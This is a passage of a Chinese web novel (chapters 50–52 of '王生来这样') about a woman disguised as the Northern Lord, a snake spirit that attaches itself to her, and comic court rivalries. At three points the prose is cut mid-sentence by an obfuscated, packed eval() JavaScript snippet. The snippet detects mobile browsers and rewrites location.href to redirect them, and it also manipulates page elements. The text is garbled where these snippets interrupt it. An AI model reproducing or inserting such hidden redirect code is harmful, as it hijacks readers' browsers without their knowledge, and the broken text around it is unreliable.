她还以为云辞年纪轻轻便有通天修为,没想到竟是个胆子大、心思巧、又会装样子的可爱小家伙。 “你倒是机灵。”祈昭笑着揶揄,“前几日见你还说自己灵根不清、什么都不会,今日就敢在全校场面前演这么一出。” 云辞脸颊更红,青绿色的发丝都像是染上了薄晕: “弟子、弟子只是不想王爷被人冤枉……而且,弟子答应过王爷,赴汤蹈火也要报恩。” 他抬眸看她,浅粉色的眼睛亮得澄澈,满满都是认真。 祈昭心头微暖,这孩子看着软懦,实则重情又勇敢。 她不再逗他,转而说起正事: “我来找你,其实还有一事想问——你是千洦宗弟子,对灵异类兽应该熟悉,你可知有一种通体漆黑、头顶有金纹、能化人形的灵蛇?” 云辞的神色立刻认真起来,微微蹙眉回想,片刻后轻声道: “王爷说的……可是墨玉金鳞蛇?” 祈昭眼睛一亮:“你知道?” “嗯。”云辞点头,声音轻柔,“这种蛇极少见,生于深山阴气之地,修行千年才可化形,性情本就清冷,若非重伤濒死,绝不会轻易现身。它们认主极严,一旦记住一个人的名字,便会记一辈子。” 他顿了顿,抬眸看向祈昭,浅粉色的眼眸里带着一丝轻软的提醒: “王爷若是遇见了……千万小心。此蛇看似温和,实则护念极强,被它记在心里的人,它会拼尽一切守着,也会拼尽一切……缠着。” 祈昭想起地洞里那缠住自己脚踝的冰凉蛇尾,后背莫名微微一麻。 云辞看着她若有所思的样子,轻声问:“王爷……可是真的遇见了?” “算是吧。”祈昭点头,没有细说狼狈的经过,只道,“它受了重伤,我帮他简单包扎了一下。” 云辞闻言微微一怔,随即浅粉色的眼眸里泛起一丝柔和: “那它必定已经记住王爷了。墨玉金鳞蛇报恩,从不会轻易放手。” 祈昭轻咳一声,压下心底那点莫名的情绪,看向眼前乖巧温顺的少年,忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261145|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得这孩子实在讨喜。 “今日麻烦你了,云辞。” “弟子不麻烦!”云辞立刻站直,又恭敬地行了一礼,眼神明亮,“王爷若是再有任何事,尽管吩咐弟子,弟子随叫随到!” 他青绿色的发丝被风拂动,浅粉色的眼睛弯着,干干净净,温温柔柔,一口一声王爷,乖巧得让人心头发软。 祈昭看着他,忍不住轻轻勾了勾唇角。 谢随忠犬,萧惊渊强势,而眼前这个云辞,是全然不同的、干净又柔软的小徒弟。 她站起身,淡淡道:“回去休息吧,日后在宗内再有人欺负你,依旧可以报我的名字。” 云辞望着她飒爽的背影,轻轻点头,声音轻得像风: “是,王爷。” 直到祈昭的身影消失在拐角,少年还站在原地,指尖轻轻攥着衣角,浅粉色的眼眸里,悄悄漾开了一层细碎的欢喜。 云辞的身世,藏在他青绿色的发丝与浅粉色的眼眸深处,是连他自己都很少愿意回想的过往。 他五岁那年,天地变色,战火与瘟疫一同席卷了家乡。父母在他面前咽下最后一口气,临死前用尽最后一丝力气,将一张皱巴巴的纸条塞进他小小的掌心,指尖冰凉,声音轻得像风。 “去找……千洦宗的长老,那是你小叔……他会护着你……” 那是他人生中最后一句温暖。 五岁的孩子,连路都走不稳,却凭着一股本能,一路乞讨、淋雨、挨饿,硬生生走到了千洦宗山门前。 山门高耸入云,仙气缭绕,可对他而言,却是一道跨不过去的高墙。 他不懂什么是宗门,不懂什么是灵根,更不懂什么是修仙。 他只知道,爹娘说这里有人会护着他。 于是小小的云辞,在千洦宗山门前一跪,就是三天三夜。 那三天里,天降暴雨,豆大的雨点砸在他单薄的身上,砸得他皮肤发疼,浑身湿透,小小的身板在风雨中抖得像一片落叶。他没有伞,没有干粮,没有依靠,只有掌心那张被雨水泡得发烂的纸条。 他不哭,不闹,不喊,只是安安静静跪着,一双浅粉色的眼睛望着山门,固执地等一个愿意认他的人。 可他不知道,纸条上那位所谓的“小叔长老”,早在半年前便闭死关羽化,早已不在世间。 满座长老翻遍族谱,都找不到与他相关的血脉,更无人愿意认领一个来历不明、灵根微弱、看上去毫无用处的孩子。 雨停的时候,云辞几乎冻僵,小小的身子软倒在山门之前,却依旧死死攥着那张纸条。 长老们终究是心软了,不愿看着一个孩子死在山门前,便松了口,将他勉强留在千洦宗内,却也只是当作一个可有可无的杂役弟子。 没人疼,没人教,没人问。 后来,长老们随便指了一位最懒散、最不负责任的长老,当作他的师尊。 那位师尊整日饮酒嗜睡,从不上课,从不指点,连他的名字都记不住,更别提传他功法、教他术法。 云辞就像一株被扔在角落的野草,自生自灭,无人问津。 别的弟子有师尊护着,有同门帮着,有丹药、有功法、有指点。 只有他,什么都没有。 他不甘心。 他不想一辈子做个被人欺负的杂役,不想永远活在无人理睬的黑暗里。 于是他趁着深夜,偷偷溜进千洦宗的藏经阁,在落满灰尘的角落里,翻出了一本早已被人遗忘的古籍——《天命遗谱》。 书上记载着传说中的天道秤术,能辨真伪,能引灵气,能借天威。 无人教他,他便自己一字一句啃。 不懂符文,他便对着月光一遍一遍画。 不会引气,他便在深夜的竹林里,一次一次尝试。 别人在休息,在修炼,在嬉笑,他在看书;别人在睡觉,在打闹,在受宠,他在自学。 就这么,硬生生靠着一本残卷,自己摸出了天道秤的门道。 他修为不深,无法真正引动天道判生死,却能凝出灵光,造出足以以假乱真的天秤虚影,再加上他天生干净澄澈、最易接近天道的体质,竟真的能唬住人心。 而这次春猎,更是一场荒唐的意外。 他那位从不理事的师尊,在整理春猎名单时,醉酒迷糊,随手一笔,便把云辞的名字胡乱填了上去。 等师尊自己醒过来,早已忘了此事。 直到出发前一日,弟子们点名,云辞才惊觉——自己居然被报了名。 他不敢问,不敢拒,更不敢反抗。 只能默默收拾好那身洗得发白的旧弟子服,跟着大部队,来到了春猎猎场。 他本就卑微,本就不起眼,本就习惯了被人忽视、被人欺负。 直到那一夜,他被同门殴打,被世界抛弃的时刻,北冥王祈昭,出现了。 那是自他五岁父母离世后,第一次有人,不问缘由,不问出身,不问价值,毫不犹豫地站出来,护在他身前。 也是第一次,有人对他说: “再有人找你麻烦,便报我的名字。” 那一刻,云辞在心底悄悄发誓。 这一生,他什么都没有,唯有这条命,可以给她。 他是无人问津的野草。 可从遇见祈昭的那一刻起,他终于有了愿意为之疯长、为之燃烧的光。 50. 王生来这样· 二十 天色彻底沉下来时,祈昭已经将安安托付给车夫,再三叮嘱务必安全送回北冥王府。 目送马车远去,她才转身走回春猎专属的静室,打算好好歇一歇,缓解这几日接连不断的风波。 刚推门进屋,她反手合上房门,还没等走到桌边点灯,门外忽然传来咚咚咚三声急促又沉闷的敲门声。 不轻不重,却听得人心尖一紧。 祈昭脚步一顿,眉头微蹙。 萧惊渊和谢随都已被她打发走,云辞也在千洦宗偏院,这个时辰,会是谁? 她压下疑虑,缓步走到门前,轻轻拉开一条缝隙。 就在门开的刹那—— 屋内唯一一盏烛火“噗”地一声,无风自灭! 整片房间瞬间坠入昏暗,只剩窗外透进来的微弱暮色,模糊得看不清人影。 祈昭心头猛地一跳,刚要开口喝问,一股冰凉滑腻、力道却极轻的东西,悄无声息缠上了她的手腕! 那触感…… 是蛇尾! “!!!” 祈昭浑身汗毛瞬间炸开,心脏差点从喉咙里跳出来。 她下意识绷紧身体,几乎要立刻出手反击,可那蛇尾缠得极柔、极轻,没有半分恶意,更没有用力收紧,只是像藤蔓一样,轻轻圈着她的手腕,不肯松开。 黑暗中,一道清瘦挺拔的身影静静站在门内。 少年垂着眼,长发如墨,唇色浅淡,面色冷冷白白的,没有任何表情,一双浅金色竖瞳在昏暗中泛着极淡的光。 是那日地洞里的黑鳞灵蛇。 祈昭稳住呼吸,强行压下尖叫的冲动,维持着最后一点北冥王的镇定,声音微微发紧: “……是你?” 少年不答。 只是那双干净又冷淡的眼睛,一眨不眨地望着她,呆呆的,没有任何情绪,却蛇尾缠得更紧了一点。 不疼,不痒,就是……甩不掉。 祈昭试着轻轻动了动手腕,少年依旧面无表情,只是蛇尾跟着微微收紧一点,摆明了——不放。 她深吸一口气,耐着性子开口: “你怎么找到这里来的?” 沉默。 少年只是看着她,冷着脸,一副呆萌又固执的模样,半个字都不肯说。 “你伤好了?” 依旧沉默。 “你跟着我做什么?我与你无冤无仇,那日也救过你,你不必报恩,更不必缠着我。”祈昭尽量让语气平静。 少年还是不说话。 金色的瞳孔安静地映着她的身影,冷萌冷萌的,蛇尾轻轻蹭了蹭她的手腕,像是在撒娇,又像是在宣告——我就缠着你。 祈昭彻底无语了。 她活了这么多年,见过嚣张的、见过阴狠的、见过油盐不进的,还是第一次遇见这种一言不发、死缠到底、脸还冷得像小冰块一样萌的主。 她试着往后退一步。 少年跟着前进一步。 蛇尾始终缠着她,不松不紧,不伤人,却也绝不放开。 “你叫什么名字?”祈昭换了个问题。 少年垂眸,依旧不吭声,冷白的小脸上没有任何波澜,像个精致又沉默的玉娃娃。 “你能说话吗?” 没反应。 “你是打算一直跟着我?” 还是没反应。 祈昭扶额,彻底没辙。 眼前这位主,分明就是冷脸萌属性——长得好看,气质清冷,表情呆呆,脾气固执,问啥都不说,主打一个死缠烂打。 她看着昏暗里少年安静又执着的模样,再感受着手腕上冰凉却无害的蛇尾,明明心里还残留着几分怕意,却又莫名生不出气来。 罢了。 祈昭在心底轻轻叹一口气。 赶也赶不走,问也问不出,打又打不得,骂又没人应。 她抬眼,对上少年那双浅金的、干净又执拗的瞳眸,无奈开口,语气里带着自己都没察觉的妥协: “行,你缠着便缠着吧。 但不许吓我,不许突然化蛇尾,更不许……一声不吭就把人捆住。” 少年似乎听懂了。 冷白的脸上依旧没什么表情,只是缠在她手腕上的蛇尾,轻轻、轻轻蹭了她一下。 又乖,又冷,又萌。 祈昭彻底败下阵来。 行吧,多一个安安静静、只会缠着她的冷脸小蛇妖,好像……也不算太糟。 屋内依旧昏沉,祈昭正对着这位一言不发、死缠不放的冷脸少年束手无策,下一秒,眼前忽然泛起一层淡淡的黑雾。 没有巨响,没有异动,只有极轻极轻的气流声。 方才还身形挺拔、面色冷白的少年,在她眼前缓缓收拢身形,鳞片重新覆上肌肤,人形一点点褪去——化作了一条不过手指粗细的小黑蛇。 通体漆黑如墨,鳞片泛着温润的冷玉光泽,头顶那道细小金纹若隐若现,看上去非但不吓人,反倒小巧玲珑,乖得离谱。 小黑蛇抬了抬脑袋,浅金色的小竖瞳安静地望着她,没有半分凶气。 没等祈昭反应过来,它轻轻一扭身子,温顺地缠上了她的手腕。 一圈,又一圈。 不紧不松,软软凉凉,服服帖帖地盘在她的腕间,像一条活的、会呼吸的玄色手串。 它甚至还轻轻蹭了蹭她的脉搏处,像是在确认她的气息,又像是在找个最舒服的姿势,安安静静地盘踞不动了。 祈昭:“……” 她僵着手腕,低头盯着腕上这条迷你版小黑蛇,整个人都愣了神。 前一刻还是高高冷冷、一脸呆萌不肯说话的少年,下一秒就缩成了小蛇缠在她手上……这反差大得让她一时不知道该怕,还是该觉得好笑。 她试探着轻轻晃了晃手腕。 小黑蛇纹丝不动,只小幅度地抬了抬脑袋,金瞳安静地看了她一眼,那模样又冷又乖又萌,依旧是半个字都没有。 摆明了: 我不吵,不闹,不吓人,就安安静静缠着你。 祈昭彻底没了脾气。 她原本悬着的心一点点放了下来,指尖微微动了动,犹豫了一下,还是极轻极轻地,用指腹碰了一下小黑蛇冰凉光滑的鳞片。 触感细腻,微凉,一点都不可怕。 “你倒是会找地方。” 她无奈地轻叹了一声,语气里却没了半分戒备,只剩下哭笑不得的纵容,“行吧,既然你想跟着,那就跟着。但不许随便吓我,更不许在别人面前现形。” 小黑蛇像是听懂了,缠在她腕间的身体微微松了松,又轻轻贴紧,温顺得不像话。 窗外暮色渐深,屋内安静无声。 祈昭抬手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261146|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看着腕间安安静静盘着的小黑蛇,忽然觉得,这位不说话、只缠人的冷脸小蛇妖,好像……也没那么吓人。 反倒有点,乖得让人放不下。 深夜,万籁俱寂,窗外只剩下细碎的风声。 祈昭睡得很沉,连日奔波与风波让她彻底放松了心神,呼吸轻缓而安稳。 腕间的小黑蛇不知何时,悄然散开了一层淡黑色的薄雾。 没有惊动任何人,没有发出半点声响,那截小巧的蛇影在月色中缓缓舒展、拉长—— 这一次,他不再是白日里清冷少年的模样,而是化作了身形挺拔、肩宽腰窄、轮廓深邃的成年男子。 墨色长发垂落,肌肤冷白,眉眼清俊凌厉,却又藏着极致的温柔,周身气息沉静如深海。 正是化形完全的青鸢。 他动作轻得像一片影子,缓缓俯身,在床榻边停了片刻,确认祈昭睡得毫无防备,才极其小心、极其轻柔地半跪伏在榻侧,双手轻轻、轻轻托住了她的脸颊。 指尖微凉,力道轻得几乎感觉不到,只是稳稳地捧着她的脸,像是捧着失而复得的珍宝。 他没有吵醒她,只是垂着眼,用只有自己能听见的声音,低低地、温柔地呢喃,声音沙哑又滚烫,藏了数百年的思念与执念。 “……终于找到你了。” “我前世的主人。” 月光从窗缝漏进来,落在他浅金色的眼眸里,泛起一层湿润的光。 数百年前,祈昭的前世并非凡人,而是一位随性逍遥的散修仙人,性子洒脱,见不得弱小被欺。 那时,还是一条幼蛇的青鸢被猎妖师追杀,重伤濒死,是她路过救下了他,将他藏在山中,护他长大。 她是他几百年岁月里,唯一的光。 可仙人也有寿数终了的一日。 她离世前,怕他再也寻不到自己,便让他在自己的脉搏里,注入了一滴本命蛇血。 那滴蛇血锁着她的魂魄气息,跨越轮回,跨越生死,让他无论她转世成谁、身在何方,都能凭着血脉牵引,找到她。 数百年寻觅,数百年等待。 从深山到人间,从乱世到朝堂。 他终于,再一次找到了她。 眼前的人,不再是白衣飘飘的仙人,成了身披王袍、女扮男装的北冥王祈昭。 可脉搏里那熟悉的温度,那刻在骨血里的气息,一丝一毫都没有变。 青鸢垂眸,指尖轻轻蹭过她脸颊上那道浅浅的小疤,动作温柔得近乎虔诚。 他没有再靠近,没有半分逾越,只是保持着托住她脸颊的姿势,安静地守着她。 “这一世,我不会再离开你了。” “无论你是谁,我都会守着你。” “你救我一次,我护你生生世世。” 他声音轻得像风,消散在深夜里。 祈昭睡得安稳,毫无察觉,只是在梦里轻轻蹙了下眉,像是感受到了熟悉的安心气息,慢慢又舒展开眉眼。 青鸢望着她沉睡的模样,浅金色的眼眸里,盛满了跨越轮回的温柔与忠诚。 片刻后,他才缓缓收回手,再次化作一道轻烟,缩回她的手腕上,变成了那条安安静静、寸步不离的小黑蛇,温顺地盘在她的脉搏旁,陪着她,一同沉入长夜。 这一世,换他来做她的盾。 永不分离。 51. 王生来这样· 二十一 天一亮,祈昭一睁眼就往手腕上看——小黑蛇还安安稳稳盘在她腕间,睡得乖巧,鳞片在晨光下亮得像黑玉。 她心情瞬间大好,指尖轻轻碰了碰它的小脑袋。 就这么一瞬间,她打定主意:拿去给谢随和萧惊渊炫耀炫耀。 她整理好衣袍,故意把手腕露在外面,慢悠悠往两位的住处走。人刚到,谢随先迎了上来,依旧是那副沉稳护主的模样。 “王,昨夜睡得可好?” 话音刚落,他目光一落,就落在了祈昭手腕上。 只见一条指尖粗的小黑蛇,安安静静盘成一圈,头顶一点小金纹,看着又冷又乖。 萧惊渊也正好走出来,一眼扫过去—— 看清是蛇的瞬间,皇帝陛下整个人猛地往后一跳,脸色都白了,声音都劈叉: “祈昭!你、你手上怎么有蛇!!!” 祈昭憋笑,故意抬高手腕:“好看吗?我新养的。” “好看个屁!离朕远点!”萧惊渊退到三尺开外,手都在轻微抗拒,“你知道朕从小就怕这个!” 祈昭乐坏了:“怕?怕就对了。” 一旁谢随却只是淡淡看了一眼,眼底非但没怕,反而有点……习以为常的无奈。 他轻声道:“王从小就喜欢这些灵物,小时候捡过刺猬、小蛇、蜥蜴,臣都帮您收拾过窝。” 祈昭挑眉:“还记得?” “记得。”谢随点头,语气平静,“只要王喜欢,臣都能接受。只是……此蛇灵气极重,不是凡物,王小心些。” 萧惊渊在旁边听得目瞪口呆: “???谢随你不怕???这是蛇啊!!” 谢随淡淡瞥他一眼:“跟着王这么多年,早习惯了。” 祈昭快笑疯了。 一个吓得魂飞魄散不敢靠近,一个淡定从容见怪不怪,对比简直不要太明显。 她把玩着手腕上的小黑蛇,忽然开口:“对了,我给他起个名字。” 萧惊渊立刻喊:“别起!赶紧扔了!” 祈昭不理他,一本正经宣布: “他浑身黑得发亮,就叫小白。” 谢随:“……” 萧惊渊:“……???” 小黑蛇懒懒抬了抬小脑袋,金瞳看她一眼,又趴回去,仿佛默认了。 萧惊渊人都傻了,指着蛇声音颤抖: “祈昭你有没有良心!它全身上下哪里白?!你管这叫小白?!” 祈昭理直气壮: “我乐意。” 谢随在一旁轻轻勾了下唇角,低声应和: “小白……挺好,王喜欢便好。” 萧惊渊绝望靠墙,一脸生无可恋: “朕服了,这蛇不准靠近朕一丈之内,否则朕……朕就躲!” 祈昭晃了晃手腕,小黑蛇安安静静盘着。 她笑得眉眼弯弯,第一次觉得,这春猎收尾的日子,比打架斗智有趣多了。 从今往后,北冥王府又多了个—— 叫小白的小黑蛇。 晨光正好,祈昭腕间的小黑蛇像是故意凑热闹,忽然慢悠悠抬起小小的脑袋,浅金色的小瞳眸直直看向三尺外的萧惊渊。 就这么一个抬个头的小动作—— 萧惊渊吓得嗷一嗓子,整个人往后弹了半步,脸色惨白,指着小蛇语无伦次: “它、它抬头了!猪抬头是要吃人的!!” 祈昭脸上的笑容瞬间僵住,额角青筋直跳。 她深吸一口气,一步步朝萧惊渊走过去,面无表情地抬手,“咚”的一下,轻轻给了皇帝陛下脑门一拳。 “萧惊渊,你清醒一点——这是蛇,不是猪!!” 周围空气安静三秒。 谢随在一旁默默别过脸,肩膀微微抖了抖,显然是憋笑憋得辛苦。 萧惊渊捂着脑门委屈巴巴,可还没等他反驳,祈昭腕上的小白像是觉得好玩,又轻轻晃了晃小尾巴,朝着萧惊渊的方向微微探了探头。 距离……更近了一点点。 就这一点点! 萧惊渊彻底破防! 他眼睛一闭,心一横,一步不做二不休,完全不顾自己九五之尊、九尺高的皇帝身段,直接往前一扑—— “哇!别过来!!” 一头扎进了祈昭怀里,胳膊还牢牢环住她的肩膀,整个人缩得像个大型委屈包。 祈昭:“……” 谢随:“……” 九尺当朝皇帝,此刻像块巨型狗皮膏药,死死贴在北冥王身上,头都不敢抬,嘴里还哼哼唧唧: “离朕远点……朕不看……朕害怕……” 祈昭整个人被他抱得动弹不得,嘴角抽得快要飞起来: “萧惊渊,你给我松开!你看看你现在像什么样子!!” 旁边谢随脸色唰地一下就变了! 那双一贯沉稳的眼睛瞬间急了,脚步“噌”地上前,伸手一把扣住萧惊渊的胳膊,用力往外拽,语气又急又认真,带着满满的护主不爽: “陛下!请您放开王!” “男女授受不亲,您不可如此唐突!” 萧惊渊死抱着不撒手,闭着眼耍赖: “朕不松!蛇要咬朕!朕只有躲祈昭这儿才安全!” 谢随急得耳尖都红了,拽又不敢太用力,怕伤着祈昭,只能咬牙低声劝: “它不咬人,您先松开!臣替您挡着!” 一人抱着,一人拽着,祈昭站在中间,怀里挂着个九尺高的怂包皇帝,旁边站着个急得快冒烟的安淮王,腕上还盘着一条冷脸看热闹的小黑蛇。 场面混乱又好笑。 祈昭终于忍无可忍,伸手揪住萧惊渊的后领,狠狠一扯: “松开!再不松开我让小白直接放你肩膀上!” 这话比什么都管用。 萧惊渊“唰”地一下弹开,瞬间退到三丈开外,双手护头,一脸视死如归: “别!朕松开!朕离远点还不行吗!” 谢随立刻上前一步,稳稳挡在祈昭身前,警惕地看着萧惊渊,活像护住自家主子的忠犬。 祈昭扶着额头,无奈望天。 她算是看明白了—— 这春猎是一天都待不下去了。 一个怕蛇怕到丢皇帝脸,一个护主护到急红眼,还有一条名字叫小白、实则黑得发亮的蛇祖宗。 她晃了晃手腕,小白懒洋洋蹭了蹭她的脉搏,仿佛在笑。 祈昭:“……” 行吧,你们开心就好。 春猎余下的日子过得安稳又热闹,祈昭闲着没事,真的亲手给腕上那条名叫小白的小黑蛇,做了一个格外精致的小笼子。 她寻来上好的楠木,让工匠细细打磨,雕上流云暗纹,铺上柔软的绒垫,还特意留了透气的小窗,笼子里摆上 tiny 小巧的玉碗,既漂亮又舒服,一看就是花了心思的宝贝窝。 小白平时大多时候还是盘在她手腕上当“活手串”,只有祈昭处理事务时,才会乖乖蜷进小笼子里,安安静静趴着,冷萌冷萌地看着外面,半点不闹。 谢随每次看见都无奈又纵容:“王还是和小时候一样,对喜欢的小东西格外上心。” 萧惊渊则坚决绕着笼子走,一米之内绝不靠近,一脸警惕:“祈昭你把那东西放远点,朕看着心慌。” 祈昭每次都故意把小笼子往他面前晃一晃,吓得皇帝陛下跳脚,她才乐得收回去。 转眼十五天春猎期限已满。 最终大典那日,校场高台之上,唱榜官手持榜单,高声宣读成绩,声音洪亮传遍全场—— “本次春猎,猎物最多、功勋最盛、拔得头筹、位列榜首者——北冥王,祈昭!” 全场瞬间爆发出雷鸣般的掌声与欢呼! 将士们躬身行礼,世家子弟纷纷侧目,所有人都心悦诚服。 祈昭一身玄色王袍,立于众人之前,身姿挺拔,眉眼清冷,气场全开,当之无愧的第一。 高座之上,萧惊渊作为皇帝,亲自执起金杯,笑着开口: “祈昭,你连续多年稳坐榜首,朕心甚慰。今日你想要什么赏赐?江山封地、金银珠宝、高官厚禄,但说无妨!” 所有人都以为,以北冥王的权势,要么要封地,要么要实权,最差也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一头柔软的青绿色长发不再随意散落,而是高高束起,用一根简单的玉簪固定在脑后,露出光洁饱满的额头与线条干净的侧脸,整个人瞬间显得挺拔又精神,少年气十足。 浅粉色的眼眸依旧清澈透亮,像浸在温水里的桃花瓣,看着人时,温柔又恭敬。 他走到祈昭面前,规规矩矩躬身行礼,声音清润好听: “北冥王,恭喜您拔得春猎头筹,实至名归。” 祈昭一见是他,心情更好,眉眼都松快了几分:“不必多礼,云辞。” 话音刚落,她像是忽然想起了什么宝贝,眼睛一亮,二话不说直接把手腕递到云辞面前,兴致勃勃地展示。 “对了,你看!” 腕间的小黑蛇小白正安安静静盘着,被她这么一动,慢悠悠抬起小小的脑袋,浅金色的小瞳眸眨了一下,冷萌冷萌的。 祈昭语气里藏不住的炫耀,简直恨不得见一个人就秀一遍: “就是我之前跟你说的那条墨玉金鳞蛇,现在跟着我了,可爱吧?我给他取名叫小白。” 云辞微微一怔,随即低下头,凑近了一点点仔细看,动作轻得不敢惊扰小蛇。 他天生亲近灵物,又修天道之术,一眼便看出此蛇灵性纯净、毫无戾气。 浅粉色的眼眸里泛起一层柔和的笑意,他轻声道: “很可爱,与王爷很相配。” “它看着虽冷,却很依赖王爷。” 祈昭更得意了,晃了晃手腕,小白乖乖蹭了蹭她: “是吧!我也觉得,乖得很。” 她现在简直像个得了新宠、逢人就炫耀的小家伙,完全没了平日北冥王的冷硬架子。 谢随站在一旁看着,无奈又宠溺地轻轻勾唇。 不远处的萧惊渊一看见蛇头动了,立刻又往后退了两步,一脸“你别把它拿过来”的警惕表情。 云辞望着祈昭眼底明亮的笑意,青绿色的发梢在风里轻轻晃着,粉色的眼眸温柔得能滴出水来。 他轻声补充: “此蛇有灵,认主之后便会一生追随,绝不会背叛王爷。” 祈昭笑着点头:“我知道。” 阳光落在两人身上,一边是意气风发、爱炫耀小蛇的北冥王,一边是束发清爽、温柔满眼的千洦宗小师弟,画面干净又舒服。 云辞看着她开心的模样,在心底轻轻说: 只要王爷高兴,弟子便安心了。 52. 王生来这样· 二十二·完 返程的马车平稳行驶在林间官道上,祈昭、谢随、萧惊渊三人同车,小黑蛇小白正蜷在精致的小笼子里睡觉,总算暂时消停了。 祈昭靠在软垫上,忽然想起了一个人,抬眼看向对面的萧惊渊,随口一问: “对了,你姐姐萧惊月呢?怎么春猎这么大的事,她都没露面?” 这话一出口,萧惊渊浑身一僵,脸上的表情瞬间变得一言难尽。 他自然忘不了当年那段惊天动地的名场面—— 自家姐姐疯了一样追求女扮男装的祈昭,哪怕后来撞破祈昭是女儿身,依旧死追不放、抱着不撒手,最后他这个当弟弟的看不下去,跟姐姐大打一架,结果两人双双被祈昭毫不留情轰出王府。 萧惊渊刚想凑过来说话,目光先唰地一下,警惕地扫了一圈祈昭的手腕、肩头、膝盖…… 仔仔细细确认了三遍——没、有、蛇! 他这才松了一大口气,立刻像块狗皮膏药似的凑了上来,甚至胆子大到一把握住祈昭的手,十指紧紧相扣,一脸“快夸我机智”的表情。 “哼,别提那个变态姐姐了,她早回南疆自己的封地去了!” 萧惊渊撇着嘴吐槽,“整天不务正业,就知道缠着人,朕把她打发得远远的,省得她再来烦你。” 祈昭被他握得一怔,低头看了看相扣的手指,又看了看他这副生怕姐姐再闹事的模样,忍不住挑眉: “你倒是安排得明白。当年你们姐弟俩大战一场,被我一起扔出去,还记得这么清楚?” 萧惊渊耳朵微微一红,却不肯松开手,理直气壮: “那是她先胡闹!朕这是在帮你清理麻烦!” 旁边坐着的谢随脸色唰地一下就沉了,目光死死盯着两人扣在一起的手,周身气压瞬间降低,语气又冷又急: “陛下!请您松开王的手!男女有别,不可放肆!” 萧惊渊才不怕他,故意往祈昭身边又靠了靠,十指扣得更紧,扬着下巴挑衅: “朕是君,她是臣,朕握一下怎么了?又不碍事。” “你——”谢随气得起身就要拉人。 祈昭看着这俩一言不合就开掐的模样,再想起萧惊月那个疯批姐姐,只觉得太阳穴突突直跳。 她干脆抬手,在萧惊渊手背上轻轻一拍: “松开,别闹。” 萧惊渊委屈巴巴,却还是乖乖松了手,只是嘴里还不忘嘟囔: “反正萧惊月短期内不会回来,没人再来烦你了……朕陪着你就够了。” 祈昭无奈摇头,望向窗外飞逝的风景。 身后有谢随寸步不离,身边有萧惊渊黏人护短,笼子里还有条冷萌的小黑蛇…… 这趟归途,倒是比预想中热闹一百倍。 马车行至三岔路口,谢随率先起身拱手,神色沉稳却带着几分不舍。 “王,臣需返回安淮府处理积压政务,不能陪您同回北冥府,臣……就此告别。” 祈昭点点头,抬手轻拍他肩头:“去吧,处理完政务记得回来复命。” “是。” 谢随深深看了她一眼,又不动声色瞥了眼一旁暗自窃喜的萧惊渊,这才转身跃下马车,身影很快消失在林间。 马车里瞬间只剩下祈昭和萧惊渊两人。 萧惊渊眼睛一亮,心里简直乐开了花,表面还故作镇定,暗地里疯狂窃喜: 太好了!谢随这小子终于走了!又少一个情敌! 这下没人跟他抢祈昭了,这宽敞的马车、这安静的氛围、他可爱的北冥王,完完全全都是他的了! 他清了清嗓子,立刻凑过去,准备借着独处机会好好黏着祈昭,嘴角都快压不住上扬。 “祈昭啊,你看谢随走了,这马车就剩咱们俩……” 话音还没落地—— 嗖—— 一道小黑影突然从旁边精致的小笼子里窜了出来,动作快得像一道黑玉闪电! 不等两人反应,小黑蛇小□□准无比地缠上了祈昭的手腕,一圈一圈稳稳盘好,小脑袋高高抬起,浅金色的小瞳眸冷冷盯着萧惊渊。 那眼神明晃晃写着: 想碰她?问过我了吗? 萧惊渊脸上的笑容瞬间凝固,整个人如遭雷击,吓得往后一缩,差点从马车上滚下去。 “啊啊啊啊——蛇!!!” 他刚刚才确认过手腕上没有,万万没想到——这玩意儿会自己跳出来! 祈昭看着手腕上突然出现的小白,又看看吓破魂的萧惊渊,当场笑得直不起腰。 “萧惊渊,你行不行啊?一条小蛇而已,看把你吓的。” 萧惊渊缩在角落,双手抱胸,一脸生无可恋,绝望地看着那条盘在祈昭腕上的小黑蛇。 好不容易走了个谢随…… 怎么又冒出来这么个甩不掉的蛇祖宗?! 他九尺皇帝的尊严碎了一地,欲哭无泪: “祈昭……它、它怎么还会主动出来啊……” 小白懒懒蹭了蹭祈昭的脉搏,冷萌冷萌地瞥他一眼,仿佛在说: 我才是陪在她身边的那个。 祈昭笑得眉眼弯弯,轻轻摸了摸小蛇的脑袋。 得,这下好了。 谢随走了,蛇来了。 萧惊渊望着近在眼前、却永远碰不到的祈昭,第一次觉得—— 自己赢了全世界,却输给了一条叫小白的小黑蛇。 回到北冥府的那一刻,祈昭整个人都松了口气,刚领赏来的金银堆在府库中亮得晃眼,她半点没犹豫,按着心里的清单一一安排,温柔得不像平日里杀伐果断的北冥王。 她先让人取了新得的银两,去京中最有名的首饰铺,给府里的妃子们一人挑了一支精致的玉簪,搭配小巧的珠花首饰,样式各不相同,却都雅致好看,算是春猎归来的心意。底下伺候的侍女、护卫也都得了赏钱,人人脸上都挂着笑意,整座北冥府都喜气洋洋。 紧接着,祈昭便去看了早早被送回来的安安。 